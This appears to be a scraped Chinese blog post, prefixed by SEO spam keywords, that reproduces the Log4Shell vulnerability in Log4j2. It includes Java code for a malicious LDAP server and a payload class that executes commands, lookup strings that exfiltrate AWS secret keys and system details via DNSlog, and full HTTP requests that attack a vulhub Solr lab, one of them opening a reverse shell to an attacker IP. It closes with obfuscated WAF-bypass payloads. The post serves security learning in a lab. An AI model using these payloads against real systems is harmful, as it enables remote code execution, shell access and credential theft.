网站seo推广哪家值得信赖,做图表用的网站,比较好约的网站设计,成都品牌营销策划有限公司文章目录 1、log4j简介2、复现2.1、高版本测试2.2、测试代码2.3、补充之dns探测2.3.1、rmi、ldap也可以dnslog探测 2.3.2、dnslog外带信息 3、漏洞原理3.1、漏洞的危害大的背景3.2、具体的代码调试 4、靶场测试4.1、dns探测4.2、工具下载与使用4.3、测试 5、bypass 1、log4j简介… 文章目录 1、log4j简介2、复现2.1、高版本测试2.2、测试代码2.3、补充之dns探测2.3.1、rmi、ldap也可以dnslog探测 2.3.2、dnslog外带信息 3、漏洞原理3.1、漏洞的危害大的背景3.2、具体的代码调试 4、靶场测试4.1、dns探测4.2、工具下载与使用4.3、测试 5、bypass 1、log4j简介
Apache Log4j2是⼀个基于Java的⽇志记录⼯具。该⼯具重写了Log4j框架并且引⼊了⼤量丰富的特性。该⽇志框架被⼤量⽤于业务系统开发⽤来记录⽇志信息。⼤多数情况下开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。因为log4j是一个偏底层的组件所以许多的服务都受到了影响这个漏洞在刚公布的时候也是引发了相当的轰动2、复现
2.1、高版本测试
先说结论ldap协议
使用1.8_65和1.8_151都可以直接触发也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性但是1.8_202还是j了即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性也没有发出请求rmi协议
1.8_65 直接触发1.8_151 需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性1.8_202 J还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”
这个“exp”区分大小写要与rmi恶意服务提供的保持一致2.2、测试代码
先引入组件 dependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-api/artifactIdversion2.14.1/version/dependencydependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion2.14.1/version/dependencymain.java package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {private static final Logger logger LogManager.getLogger();public static void main(String[] args) throws Exception {
// System.setProperty(com.sun.jndi.rmi.object.trustURLCodebase,true);//ldap://127.0.0.1:7777/Explogger.error(${jndi:ldap://127.0.0.1:7777/Exp});}}
这个ldap和恶意类还使用上一节提到的ldap_Hack_server.javapackage com.example.demo2;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {private static final String LDAP_BASE dcexample,dccom;public static void main ( String[] tmp_args ) {String[] argsnew String[]{http://192.168.1.25:8888/#jndiexp};int port 7777;try {InMemoryDirectoryServerConfig config new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig(listen, //$NON-NLS-1$InetAddress.getByName(0.0.0.0), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds new InMemoryDirectoryServer(config);System.out.println(Listening on 0.0.0.0: port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase cb;}Overridepublic void processSearchResult ( InMemoryInterceptedSearchResultresult ) {String base result.getRequest().getBaseDN();Entry e new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {URL turl new URL(this.codebase, this.codebase.getRef().replace(., /).concat(.class));System.out.println(Send LDAP reference result for base redirecting to turl);e.addAttribute(javaClassName, foo);String cbstring this.codebase.toString();int refPos cbstring.indexOf(#);if ( refPos 0 ) {cbstring cbstring.substring(0, refPos);}e.addAttribute(javaCodeBase, cbstring);e.addAttribute(objectClass, javaNamingReference); //$NON-NLS-1$e.addAttribute(javaFactory, this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
jndiexp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加会出错public class jndiexp implements ObjectFactory {static {try {Runtime.getRuntime().exec(calc.exe);} catch (IOException e) {e.printStackTrace();}}Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable?, ? environment) throws Exception {return null;}
}
2.3、补充之dns探测
2.3.1、rmi、ldap也可以dnslog探测
在使用dnslog探测漏洞的时候
其实不仅仅dns协议可以ldap和rmi协议也可以 类似的rmi
这里要注意下面所以rmi协议相比较逊一些
${jndi:rmi://rmi3.b5ar6g.dnslog.cn 这个后边必须跟一些东西比如${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx 但是不是太建议大家使用ldap和rmi毕竟有各种限制还是直接使用dnslog比较方便2.3.2、dnslog外带信息
另一个是dns、rmi、ldap都可以在探测dnslog的时候外带一些系统的信息类似的有以下各位有空可以试试笔者未作测试
这些都是log4j组件中的一个特殊占位符
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}3、漏洞原理
3.1、漏洞的危害大的背景
在log4j刚出来的时候危害相当大我们先说下log4j正常的使用背景其实这个主要的原因和日志有关日志是应用软件中不可缺少的部分Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 最简单的日志打印 我们看如下登录场景咱们今天不用关心登录是怎么实现的只用关心用户名name字段就可以了代码如下public void login(string name){String name test; //表单接收name字段logger.info({},登录了, name); //logger为log4j
}很简单用户如果登陆了我们通过表单接收到相关name字段然后在日志中记录上这么一条记录。这个看起来是很常规的操作了记录日志为什么会导致漏洞呢这主要就是lookup支持打印系统变量且name变量是用户输入的用户输入什么都可以假设输入如下 上述代码会输出
Windows 7 6.1 Service Pack 1, architecture: amd64-64登录了为什么会产生这种奇怪的现象呢
是因为log4j提供了一个lookup的功能可以把一些系统变量放到日志中
比较敏锐的同学可能已经开始察觉到了现在越来越像sql注入了。其实这就是jndi注入了之前我们说过jndi注入可以利用rmi、ldap协议实现rce3.2、具体的代码调试
进来先关注这个log4j的版本
有的maven会导入多个版本在测试的时候进入别的版本
然后每个函数可能会传递很多的参数其实我们不用管别的这里盯紧我们可控的参数即message然后继续向下跟都是很短的函数没有if..else..这种条件结构直接向下走就行这个小技巧就是直接ctrl进到方法的实现然后大个断点然后直接“步过”到断点一个方法一个断点一个“步过”直到走到1641行按照我们的估算下一次是同页面的1572行但是当1572行打了断点“步过”的时候直接访问dnslog/弹窗了这就说明在1641行不能在“步过”了需要“步入”重新来断点就留到1641直接debug到这然后“步入”到87行的log方法但是这里有一个新的问题是遇到if..else..怎么知道进的是哪个不知道就都打上断点再次“步过” 经过测试是进入if但是这个log方法直接跟进去是一个定义的接口所以也不能直接“步过”继续“步入”到了27行继续跟到这种结构即if..else..下面还有代码这里的重点不是进的 if还是else重点是最终的漏洞是否在if..else..结构内触发假设没有在if..else..语句内触发那么其实这个if..else...的代码可以忽略所以这种我们直接在下面打断点看看有没有触发假设触发了我们在重新来一遍定位是if还是else并继续向下假设没有触发我们就直接忽略继续可以跟到这个107行记录下再向下就到这了这个循环该到第八次的时候即i8时在步过就是9次的时候直接步入因为i8的时候在步过就会直接弹窗即漏洞是在第8次触发的然后跟到这个MessagePatternConverter.class文件workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测一旦匹配到类似于表达式结构的字符串就会触发替换机制。然后这个地方是调试的一个重点StrSubstitutor.class文件有多个while循环的这个地方触发的但是正常跟进需要循环很多次相当简单的是可以手动修改一些变量的值这个值可能还是会绕一会想绕的可以自己找找具体是在哪触发的不想的可以看下下面的直接将断点打到该文件的418行然后“步过”到418行在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”String varValue this.resolveVariable(event, varName, buf, startPos, pos);到这log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数进行正常的lookup查询之前我们说过当lookup函数可控时就会造成rce所以看到lookup函数且参数可控一定要警惕继续在这个地方通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容即152行代码传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类156行继续继续笔者到这一步继续步入就直接弹窗了到这其实还是log4j组件内即下面应该跳到jdk底层代码的lookup函数然后去加载我们的恶意类但是不知道为什么无法跟进去先到这把调试参考https://www.anquanke.com/post/id/2626684、靶场测试
4.1、dns探测
使用vulhub搭建一个靶场直接poc搞一下dnsGET /solr/admin/cores?action${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close 正常情况下这种地方一般都是burp的插件或者xray或者其他扫描器扫到4.2、工具下载与使用
然后就是利用下载利用工具https://github.com/WhiteHSBG/JNDIExploitkali起来环境java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x注意这个IP不要写0.0.0.0否则会攻击失败-u可以查看payload根据不同的框架选择即可这个地方也可以加上-i IP这样出来的payload就不是0.0.0.0而是可以直接利用的了具体的使用可以看下工具地址有说明4.3、测试
由上面我们直接测试一开始使用一些有回显的测试都没有回显然后换直接反弹shell的kali起监听直接拿到shell详细请求数据包GET /solr/admin/cores?action${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q0.9
Connection: close
5、bypass
一些流传的bypass姿势
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}${jndi:rmi://adsasd.asdasd.asdasd}${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}